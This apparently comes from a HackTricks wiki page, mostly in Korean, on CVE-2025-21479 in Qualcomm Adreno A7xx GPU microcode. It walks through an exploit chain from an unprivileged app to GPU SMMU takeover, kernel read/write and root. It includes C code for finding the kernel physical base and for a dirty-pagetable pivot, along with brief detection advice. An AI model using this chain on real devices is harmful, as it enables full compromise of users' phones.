Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ์‹ค์ „์—์„œ ๋ฐœ๊ฒฌ๋œ Adreno A7xx ๋งˆ์ดํฌ๋กœ์ฝ”๋“œ ๋…ผ๋ฆฌ ๋ฒ„๊ทธ(CVE-2025-21479)๋ฅผ ์žฌํ˜„ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ๋ฒ•์œผ๋กœ ์ถ”์ƒํ™”ํ•ฉ๋‹ˆ๋‹ค: Set Draw State(SDS)์—์„œ์˜ IB-๋ ˆ๋ฒจ ๋งˆ์Šคํ‚น์„ ์•…์šฉํ•ด ๊ถŒํ•œ ์—†๋Š” ์•ฑ์—์„œ privileged GPU ํŒจํ‚ท์„ ์‹คํ–‰ํ•˜๊ณ , GPU SMMU ์žฅ์•…์œผ๋กœ ํ”ผ๋ฒ—ํ•œ ๋’ค dirty-pagetable trick์„ ํ†ตํ•ด ๋น ๋ฅด๊ณ  ์•ˆ์ •์ ์ธ kernel R/W๋กœ ์ด์–ด์ง€๋Š” ํ๋ฆ„์ž…๋‹ˆ๋‹ค.

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

๋ฐฐ๊ฒฝ: IB ๋ ˆ๋ฒจ, SDS ๋ฐ $12 ๋งˆ์Šคํฌ

  • ์ปค๋„์€ ringbuffer (RB=IB0)๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์€ CP_INDIRECT_BUFFER๋ฅผ ํ†ตํ•ด IB1์„ ์ œ์ถœํ•˜๊ณ , IB2/IB3๋กœ ์ฒด์ธํ•ฉ๋‹ˆ๋‹ค.
  • SDS๋Š” CP_SET_DRAW_STATE๋ฅผ ํ†ตํ•ด ์ง„์ž…ํ•˜๋Š” ํŠน์ˆ˜ ๋ช…๋ น ์ŠคํŠธ๋ฆผ์ž…๋‹ˆ๋‹ค:
  • A6xx: SDS๋Š” IB3๋กœ ์ทจ๊ธ‰๋ฉ๋‹ˆ๋‹ค
  • A7xx: SDS๋Š” IB4๋กœ ์ด๋™ํ–ˆ์Šต๋‹ˆ๋‹ค
  • ๋งˆ์ดํฌ๋กœ์ฝ”๋“œ๋Š” ํ˜„์žฌ IB ๋ ˆ๋ฒจ์„ ๋ ˆ์ง€์Šคํ„ฐ $12์— ์ถ”์ ํ•˜๊ณ , ๊ถŒํ•œ ์žˆ๋Š” ํŒจํ‚ท์„ ๊ฒŒ์ดํŠธํ•˜์—ฌ ์œ ํšจํ•œ ๋ ˆ๋ฒจ์ด IB0(์ปค๋„ RB)์— ํ•ด๋‹นํ•  ๋•Œ๋งŒ ์ˆ˜๋ฝ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฒ„๊ทธ: A7xx ๋งˆ์ดํฌ๋กœ์ฝ”๋“œ๋Š” $12์„ 0x7(3๋น„ํŠธ) ๋Œ€์‹  0x3(2๋น„ํŠธ)์œผ๋กœ ๋งˆ์Šคํ‚นํ•œ ์ƒํƒœ๋ฅผ ์œ ์ง€ํ–ˆ์Šต๋‹ˆ๋‹ค. IB4 & 0x3 == 0 ์ด๋ฏ€๋กœ SDS๊ฐ€ IB0์œผ๋กœ ์ž˜๋ชป ์‹๋ณ„๋˜์–ด ์‚ฌ์šฉ์ž ์ œ์–ด SDS์—์„œ ๊ถŒํ•œ ์žˆ๋Š” ํŒจํ‚ท์ด ํ—ˆ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ค‘์š”ํ•œ ์ด์œ :

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Microcode diff ์˜ˆ์‹œ (patch๊ฐ€ mask๋ฅผ 0x7๋กœ ๋ณ€๊ฒฝ๋จ):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Exploitation ๊ฐœ์š”

Goal: SDS (misread as IB0)์—์„œ ํŠน๊ถŒ CP ํŒจํ‚ท์„ ๋ฐœํ–‰ํ•˜์—ฌ GPU SMMU๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŒ๋“  ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”๋กœ ์žฌ์ง€์ •ํ•œ ๋‹ค์Œ, GPU copy/write ํŒจํ‚ท์„ ์ด์šฉํ•ด ์ž„์˜์˜ ๋ฌผ๋ฆฌ์  R/W๋ฅผ ์ˆ˜ํ–‰. ๋งˆ์ง€๋ง‰์œผ๋กœ dirty pagetable์„ ํ†ตํ•ด ๋น ๋ฅธ CPU-์ธก R/W๋กœ ์ „ํ™˜.

High-level chain

  • ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ์— ๊ฐ€์งœ GPU pagetable์„ ์ƒ์„ฑ
  • SDS๋กœ ์ง„์ž…ํ•˜์—ฌ ๋‹ค์Œ์„ ์‹คํ–‰:
  • CP_SMMU_TABLE_UPDATE -> ๊ฐ€์งœ pagetable๋กœ ์ „ํ™˜
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> ์“ฐ๊ธฐ/์ฝ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ ๊ตฌํ˜„
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ GPU VA๋กœ ๋ณด๋‚ด๊ณ , ํ•ด๋‹น PTE๋“ค์„ ์„ ํƒํ•œ PA์— ๋งคํ•‘ํ•˜๋ฉด -> ์ž„์˜์˜ ๋ฌผ๋ฆฌ์  ์“ฐ๊ธฐ
  • Read: CP_MEM_TO_MEM๋Š” ๋Œ€์ƒ PA์—์„œ userspace-๊ณต์œ  ๋ฒ„ํผ๋กœ 4/8 ๋ฐ”์ดํŠธ๋ฅผ ๋ณต์‚ฌํ•จ (๋” ํฐ ์ฝ๊ธฐ๋Š” ๋ฐฐ์น˜ ์ฒ˜๋ฆฌ)

Notes

  • ๊ฐ Android ํ”„๋กœ์„ธ์Šค๋Š” KGSL context๋ฅผ ํ•˜๋‚˜ ๋ฐ›์Œ (IOCTL_KGSL_GPU_CONTEXT_CREATE). ์ปจํ…์ŠคํŠธ ์ „ํ™˜์€ ๋ณดํ†ต RB์—์„œ SMMU ํ…Œ์ด๋ธ”์„ ์—…๋ฐ์ดํŠธํ•˜์ง€๋งŒ; ์ด ๋ฒ„๊ทธ๋Š” SDS์—์„œ ๊ทธ ์ž‘์—…์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•จ.
  • ๊ณผ๋„ํ•œ GPU ํŠธ๋ž˜ํ”ฝ์€ UI ๋ธ”๋ž™์•„์›ƒ ๋ฐ ์žฌ๋ถ€ํŒ…์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Œ; ์ฝ๊ธฐ๋Š” ์ž‘์Œ(4/8B)์ด๊ณ  ๋™๊ธฐํ™”๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋А๋ฆผ.

Building the SDS command sequence

  • ๊ฐ€์งœ GPU ํŽ˜์ด์ง€ํ…Œ์ด๋ธ”์„ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ์— ์Šคํ”„๋ ˆ์ดํ•˜์—ฌ ์ ์–ด๋„ ํ•˜๋‚˜์˜ ์ธ์Šคํ„ด์Šค๊ฐ€ ์•Œ๋ ค์ง„ ๋ฌผ๋ฆฌ ์ฃผ์†Œ์— ์œ„์น˜ํ•˜๋„๋ก ํ•จ(์˜ˆ: allocator grooming๊ณผ ๋ฐ˜๋ณต์„ ํ†ตํ•ด).
  • ์ˆœ์„œ๋Œ€๋กœ ๋‹ค์Œ์„ ํฌํ•จํ•˜๋Š” SDS ๋ฒ„ํผ๋ฅผ ๊ตฌ์„ฑ:
  1. CP_SMMU_TABLE_UPDATE๋ฅผ ๊ฐ€์งœ ํŽ˜์ด์ง€ํ…Œ์ด๋ธ”์˜ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋กœ
  2. ์ƒˆ๋กœ์šด ๋งคํ•‘์„ ์‚ฌ์šฉํ•˜์—ฌ R/W๋ฅผ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•œ ํ•˜๋‚˜ ์ด์ƒ์˜ CP_MEM_WRITE ๋ฐ/๋˜๋Š” CP_MEM_TO_MEM ํŒจํ‚ท
  3. ์ฆ‰์‹œ ์‹คํ–‰ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์„ค์ •๋œ CP_SET_DRAW_STATE

์ •ํ™•ํ•œ ํŒจํ‚ท ์ธ์ฝ”๋”ฉ์€ ํŽŒ์›จ์–ด๋งˆ๋‹ค ๋‹ค๋ฆ„; freedrenoโ€™s afuc/packet docs๋ฅผ ์‚ฌ์šฉํ•ด ์›Œ๋“œ๋ฅผ ์กฐ๋ฆฝํ•˜๊ณ , ๋“œ๋ผ์ด๋ฒ„๊ฐ€ SDS ์ œ์ถœ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ํ™•๋ณดํ•˜์„ธ์š”.

Finding Samsung kernel physbase under physical KASLR

Samsung์€ Snapdragon ์žฅ์น˜์—์„œ ์•Œ๋ ค์ง„ ์˜์—ญ ๋‚ด์—์„œ ์ปค๋„ ๋ฌผ๋ฆฌ ๋ฒ ์ด์Šค๋ฅผ ๋žœ๋คํ™”ํ•จ. ์˜ˆ์ƒ ๋ฒ”์œ„๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜์—ฌ _stext์˜ ์ฒซ 16๋ฐ”์ดํŠธ๋ฅผ ์ฐพ์œผ์„ธ์š”.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

physbase๊ฐ€ ์•Œ๋ ค์ง€๋ฉด, ์„ ํ˜• ๋งต์œผ๋กœ ์ปค๋„ ๊ฐ€์ƒ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•œ๋‹ค:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

๋น ๋ฅด๊ณ  ์•ˆ์ •์ ์ธ CPU-side kernel R/W (dirty pagetable)๋กœ ์•ˆ์ •ํ™”

GPU R/W๋Š” ๋А๋ฆฌ๊ณ  ์„ธ๋ถ€ ๋‹จ์œ„(granularity)๊ฐ€ ์ž‘์Šต๋‹ˆ๋‹ค. ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค PTE๋ฅผ ์†์ƒ์‹œ์ผœ ๋น ๋ฅด๊ณ  ์•ˆ์ •์ ์ธ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋กœ ์ „ํ™˜ํ•˜์„ธ์š”(โ€œdirty pagetableโ€):

Steps

  • ๋А๋ฆฐ GPU R/W ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์‚ฌ์šฉํ•ด ํ˜„์žฌ task_struct -> mm_struct -> mm_struct->pgd๋ฅผ ์ฐพ๋Š”๋‹ค
  • ์ธ์ ‘ํ•œ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ํŽ˜์ด์ง€ A์™€ B๋ฅผ mmapํ•œ๋‹ค(์˜ˆ: 0x1000)
  • PGD->PMD->PTE๋ฅผ ๋”ฐ๋ผ A/B์˜ PTE ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•œ๋‹ค(ํ—ฌํผ: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • B์˜ PTE๋ฅผ ๋ฎ์–ด์จ์„œ A/B๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ์ตœํ•˜์œ„ ๋ ˆ๋ฒจ ํŽ˜์ด์ง€ํ…Œ์ด๋ธ”์„ RW ์†์„ฑ์œผ๋กœ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•œ๋‹ค(phys_to_readwrite_pte)
  • B์˜ VA๋กœ ์จ์„œ A์˜ PTE๋ฅผ ๋ณ€๊ฒฝํ•ด ๋ชฉํ‘œ PFN์„ ๋งคํ•‘ํ•˜๊ฒŒ ํ•œ ๋’ค; A์˜ VA๋กœ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ณ  ์“ฐ๋ฉฐ TLB๋ฅผ ํ”Œ๋Ÿฌ์‹œํ•ด ์„ผํ‹ฐ๋„ฌ์ด ๋ฐ”๋€” ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณตํ•œ๋‹ค
์˜ˆ์‹œ dirty-pagetable pivot ์Šค๋‹ˆํŽซ ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## ํƒ์ง€

- Telemetry: RB/IB0 ๋ฐ–, ํŠนํžˆ SDS์—์„œ CP_SMMU_TABLE_UPDATE (or similar privileged opcodes)์ด ๋‚˜ํƒ€๋‚˜๋ฉด ๊ฒฝ๊ณ ; 4/8-byte CP_MEM_TO_MEM์˜ ๋น„์ •์ƒ์  ๊ธ‰์ฆ๊ณผ ๊ณผ๋„ํ•œ TLB flush ํŒจํ„ด์„ ๋ชจ๋‹ˆํ„ฐ๋ง

## ์˜ํ–ฅ

๋กœ์ปฌ ์•ฑ์ด GPU ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๋ฉด privileged GPU packets๋ฅผ ์‹คํ–‰ํ•˜๊ณ  GPU SMMU๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ์ž„์˜์˜ ์ปค๋„ ๋ฌผ๋ฆฌ/๊ฐ€์ƒ R/W๋ฅผ ๋‹ฌ์„ฑํ•˜๊ณ  SELinux๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•œ ๋’ค ์˜ํ–ฅ์„ ๋ฐ›๋Š” Snapdragon A7xx ์žฅ์น˜(e.g., Samsung S23)์—์„œ ๋ฃจํŠธ ๊ถŒํ•œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹ฌ๊ฐ๋„: ๋†’์Œ (kernel compromise).

### ์ฐธ๊ณ 

<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>